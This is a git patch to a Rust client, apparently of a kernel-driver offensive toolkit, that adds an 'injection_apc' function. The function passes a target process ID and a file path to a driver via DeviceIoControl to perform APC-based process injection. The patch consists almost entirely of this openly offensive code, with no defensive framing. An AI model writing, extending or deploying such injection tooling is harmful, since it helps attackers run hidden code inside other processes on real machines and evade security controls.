From fc9f5581828188fa1bcf52f49e83d6ada73dbde4 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jo=C3=A3o?= Date: Tue, 30 Jul 2024 21:59:46 -0300 Subject: [PATCH] Adding Injection using APCS --- client/src/injection.rs | 32 ++++++++++++++++++++++++++++++++ 1 file changed, 32 insertions(+) diff --git a/client/src/injection.rs b/client/src/injection.rs index a908ea3..113d444 100644 --- a/client/src/injection.rs +++ b/client/src/injection.rs @@ -37,3 +37,35 @@ pub fn injection_thread(ioctl_code: u32, pid: &u32, path: &String) { CloseHandle(h_file); }; } + +pub fn injection_apc(ioctl_code: u32, pid: &u32, path: &String) { + let h_file = open_driver().expect("Failed to open driver"); + let status; + let mut info_injection = TargetInjection { + path: path.to_string(), + pid: *pid as usize + }; + let mut return_buffer = 0; + status = unsafe { + DeviceIoControl( + h_file, + ioctl_code, + &mut info_injection as *mut _ as *mut c_void, + std::mem::size_of::() as u32, + null_mut(), + 0, + &mut return_buffer, + null_mut() + ) + }; + + if status == 0 { + eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status); + } else { + println!("[+] Process injection APC successfully performed on PID: {pid}"); + } + + unsafe { + CloseHandle(h_file); + }; +}